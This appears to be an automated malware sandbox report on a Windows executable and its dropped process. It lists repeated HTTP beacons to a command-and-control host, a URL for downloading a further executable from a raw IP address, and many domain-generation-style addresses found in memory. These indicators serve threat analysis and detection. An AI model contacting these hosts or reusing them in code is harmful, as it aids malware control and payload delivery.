Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\p4C7Gm10K3.exe

Code function: 0_2_00402056 InternetReadFile,select,recv,

0_2_00402056

Source: global traffic	HTTP traffic detected: GET /d/N?02F4017805F4017805DA015405F401B55C56B0B4C7F501B8ADF6074E2BC62F4137C4315605 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F4017805F4017805DA015405F401B55C56B0B4C7F501B8ADF6074E2BC62F4137C4315605 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02E448C223E448C223CA48EE23E4480F7A46F90EE1E548028BE64EF40DD666FB11D478EC23 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02E448C223E448C223CA48EE23E4480F7A46F90EE1E548028BE64EF40DD666FB11D478EC23 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F61668A8F61668A8D81644A8F616A5F154A7A46AF716A800F4105E86C438519AC62646A8 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F61668A8F61668A8D81644A8F616A5F154A7A46AF716A800F4105E86C438519AC62646A8 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B82229F7B82229F7962205F7B822E4AE1A93E535B922E95FBA241FD98A0C10C5881207F7 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B82229F7B82229F7962205F7B822E4AE1A93E535B922E95FBA241FD98A0C10C5881207F7 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02908178BA908178BABE8154BA9081B5E33230B4789181B81292874E94A2AF4188A0B156BA HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02908178BA908178BABE8154BA9081B5E33230B4789181B81292874E94A2AF4188A0B156BA HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F836E051F836E051D636CC51F8362D085A872C93F93620F9FA30D67FCA18D963C806CE51 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F836E051F836E051D636CC51F8362D085A872C93F93620F9FA30D67FCA18D963C806CE51 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02E9EB384CE9EB384CC7EB144CE9EBF5154B5AF48EE8EBF8E4EBED0E62DBC5017ED9DB164C HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02E9EB384CE9EB384CC7EB144CE9EBF5154B5AF48EE8EBF8E4EBED0E62DBC5017ED9DB164C HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F8C00BE1F8C00BE1D6C027E1F8C0C6B85A71C723F9C0CB49FAC63DCFCAEE32D3C8F025E1 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F8C00BE1F8C00BE1D6C027E1F8C0C6B85A71C723F9C0CB49FAC63DCFCAEE32D3C8F025E1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0228C04BEE28C04BEE06C067EE28C086B78A71872C29C08B462AC67DC01AEE72DC18F065EE HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0228C04BEE28C04BEE06C067EE28C086B78A71872C29C08B462AC67DC01AEE72DC18F065EE HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02EBE93423EBE93423C5E91823EBE9F97A4958F8E1EAE9F48BE9EF020DD9C70D11DBD91A23 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02EBE93423EBE93423C5E91823EBE9F97A4958F8E1EAE9F48BE9EF020DD9C70D11DBD91A23 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025429DBFD5429DBFD7A29F7FD542916A4F698173F55291B55562FEDD36607E2CF6419F5FD HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025429DBFD5429DBFD7A29F7FD542916A4F698173F55291B55562FEDD36607E2CF6419F5FD HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B11BF607B11BF6079F1BDA07B11B3B5E13AA3AC5B01B36AFB31DC0298335CF35812BD807 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B11BF607B11BF6079F1BDA07B11B3B5E13AA3AC5B01B36AFB31DC0298335CF35812BD807 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F0284686F0284686DE286A86F0288BDF52998A44F128862EF22E70A8C2067FB4C0186886 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F0284686F0284686DE286A86F0288BDF52998A44F128862EF22E70A8C2067FB4C0186886 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B624B8FAB624B8FA982494FAB62475A314957438B7247852B4228ED4840A81C8861496FA HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B624B8FAB624B8FA982494FAB62475A314957438B7247852B4228ED4840A81C8861496FA HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027509F5FE7509F5FE5B09D9FE750938A7D7B8393C74093556770FC3D04727CCCC4539DBFE HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?027509F5FE7509F5FE5B09D9FE750938A7D7B8393C74093556770FC3D04727CCCC4539DBFE HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022C9FA96C2C9FA96C029F856C2C9F64358E2E65AE2D9F69C42E999F421EB1905E1CAF876C HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022C9FA96C2C9FA96C029F856C2C9F64358E2E65AE2D9F69C42E999F421EB1905E1CAF876C HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0226464D4326464D43084661432646801A84F7818127468DEB24407B6D1468747116766343 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0226464D4326464D43084661432646801A84F7818127468DEB24407B6D1468747116766343 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022880A7482880A74806808B4828806A118A316B8A298067E02A8691661AAE9E7A18B08948 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022880A7482880A74806808B4828806A118A316B8A298067E02A8691661AAE9E7A18B08948 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0296C9CA5596C9CA55B8C9E65596C9070C3478069797C90AFD94CFFC7BA4E7F367A6F9E455 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0296C9CA5596C9CA55B8C9E65596C9070C3478069797C90AFD94CFFC7BA4E7F367A6F9E455 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B8E79322B8E7932296E7BF22B8E75E7B1A565FE0B9E7538ABAE1A50C8AC9AA1088D7BD22 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B8E79322B8E7932296E7BF22B8E75E7B1A565FE0B9E7538ABAE1A50C8AC9AA1088D7BD22 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?020F06AE640F06AE64210682640F06633DADB762A60E066ECC0D00984A3D2897563F368064 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?020F06AE640F06AE64210682640F06633DADB762A60E066ECC0D00984A3D2897563F368064 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0204466394044663942A464F940446AECDA6F7AF560546A33C064055BA36685AA634764D94 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0204466394044663942A464F940446AECDA6F7AF560546A33C064055BA36685AA634764D94 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?027E2B6AD77E2B6AD7502B46D77E2BA78EDC9AA6157F2BAA7F7C2D5CF94C0553E54E1B44D7 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?027E2B6AD77E2B6AD7502B46D77E2BA78EDC9AA6157F2BAA7F7C2D5CF94C0553E54E1B44D7 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029C84ADC09C84ADC0B28481C09C8460993E3561029D846D689E829BEEAEAA94F2ACB483C0 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029C84ADC09C84ADC0B28481C09C8460993E3561029D846D689E829BEEAEAA94F2ACB483C0 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029A22B7269A22B726B4229B269A227A7F38937BE49B22778E98248108A80C8E14AA129926 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029A22B7269A22B726B4229B269A227A7F38937BE49B22778E98248108A80C8E14AA129926 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F4FBB763F4FBB763DAFB9B63F4FB7A3A564A7BA1F5FB77CBF6FD814DC6D58E51C4CB9963 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F4FBB763F4FBB763DAFB9B63F4FB7A3A564A7BA1F5FB77CBF6FD814DC6D58E51C4CB9963 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02CA747344CA747344E4745F44CA74BE1D68C5BF86CB74B3ECC872456AF85A4A76FA445D44 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02CA747344CA747344E4745F44CA74BE1D68C5BF86CB74B3ECC872456AF85A4A76FA445D44 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0266D2AE3866D2AE3848D2823866D26361C46362FA67D26E9064D4981654FC970A56E28038 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0266D2AE3866D2AE3848D2823866D26361C46362FA67D26E9064D4981654FC970A56E28038 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0203ACC32E03ACC32E2DACEF2E03AC0E77A11D0FEC02AC038601AAF5003182FA1C339CED2E HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0203ACC32E03ACC32E2DACEF2E03AC0E77A11D0FEC02AC038601AAF5003182FA1C339CED2E HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0246E0960F46E0960F68E0BA0F46E05B56E4515ACD47E056A744E6A02174CEAF3D76D0B80F HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0246E0960F46E0960F68E0BA0F46E05B56E4515ACD47E056A744E6A02174CEAF3D76D0B80F HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0281377A8581377A85AF3756858137B7DC2386B6478037BA2D83314CABB31943B7B1075485 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0281377A8581377A85AF3756858137B7DC2386B6478037BA2D83314CABB31943B7B1075485 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022E8EF7922E8EF792008EDB922E8E3ACB8C3F3B502F8E373A2C88C1BC1CA0CEA01EBED992 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022E8EF7922E8EF792008EDB922E8E3ACB8C3F3B502F8E373A2C88C1BC1CA0CEA01EBED992 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02706A6D19706A6D195E6A4119706AA040D2DBA1DB716AADB1726C5B374244542B405A4319 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02706A6D19706A6D195E6A4119706AA040D2DBA1DB716AADB1726C5B374244542B405A4319 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0280AACDBE80AACDBEAEAAE1BE80AA00E7221B017C81AA0D1682ACFB90B284F48CB09AE3BE HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0280AACDBE80AACDBEAEAAE1BE80AA00E7221B017C81AA0D1682ACFB90B284F48CB09AE3BE HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0285B5578985B55789ABB57B8985B59AD027049B4B84B5972187B361A7B79B6EBBB5857989 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0285B5578985B55789ABB57B8985B59AD027049B4B84B5972187B361A7B79B6EBBB5857989 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02E92C5BB5E92C5BB5C72C77B5E92C96EC4B9D9777E82C9B1DEB2A6D9BDB026287D91C75B5 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02E92C5BB5E92C5BB5C72C77B5E92C96EC4B9D9777E82C9B1DEB2A6D9BDB026287D91C75B5 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: owwecumt.mp

Source: p4C7Gm10K3.exe, p4C7Gm10K3.exe, 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, rmass.exe, rmass.exe, 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://%s.biz/d/G?
Source: p4C7Gm10K3.exe, p4C7Gm10K3.exe, 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, rmass.exe, rmass.exe, 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://%s.biz/d/N?
Source: p4C7Gm10K3.exe, p4C7Gm10K3.exe, 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, rmass.exe, rmass.exe, 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://69.50.173.166/gdnOT2424.exe
Source: p4C7Gm10K3.exe, 00000000.00000002.2081775483.0000000000401000.00000040.00000001.01000000.00000003.sdmp, rmass.exe, 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: http://69.50.173.166/gdnOT2424.exegrazie.gifhttp://utbidet-ugeas.biz/d/ccUseDflProfileUseExtProfileC
Source: rmass.exe, 00000002.00000003.4250572732.0000000000776000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4263046494.0000000000777000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4254627678.0000000000777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aeuodisoo.tk/
Source: rmass.exe, 00000002.00000003.4139501057.0000000000775000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4137784481.0000000000775000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://afiomoagjsqeo.cd/
Source: rmass.exe, 00000002.00000003.2723537244.0000000000739000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ahagz.st//
Source: rmass.exe, 00000002.00000003.3702678755.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aoynscawsxqoi.pw/
Source: rmass.exe, 00000002.00000003.3695041346.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3688133210.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aoynscawsxqoi.pw/q
Source: rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asmqldwuiwcwm.pw/
Source: rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asmqldwuiwcwm.pw/902
Source: rmass.exe, 00000002.00000003.4137784481.000000000072D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4139501057.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asmqldwuiwcwm.pw/=
Source: rmass.exe, 00000002.00000003.3028936119.0000000000746000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3025569546.0000000000745000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3025488521.000000000075D000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3027803308.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3027803308.0000000000746000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3050442649.000000000074C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3047173395.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3033688365.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3028936119.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3033724426.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3061937137.000000000074C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asotngqz.st/
Source: rmass.exe, 00000002.00000003.3027803308.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asotngqz.st/d
Source: rmass.exe, 00000002.00000003.3027803308.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://asotngqz.st/t=M
Source: rmass.exe, 00000002.00000003.3803470948.000000000072F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://auvgqgxid.tk/
Source: rmass.exe, 00000002.00000003.3695041346.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702772696.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3704229849.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3710298681.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702941321.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3688133210.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3715874963.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3728119235.0000000000734000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.3702678755.0000000000734000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://auwwie.tk/
Source: rmass.exe, 00000002.00000003.4492190559.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://avscooaicdshq.mp/
Source: rmass.exe, 00000002.00000003.4492190559.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://avscooaicdshq.mp/%
Source: rmass.exe, 00000002.00000003.4519485718.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4509916272.0000000000748000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4492190559.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4480638970.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4509694840.0000000000733000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4501806806.000000000074B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000002.00000003.4499610123.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://avscooaicdshq.mp/-
Source: rmass.exe, 00000002.00000003.4492190559.000000000074B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://avscooaicdshq.mp/M
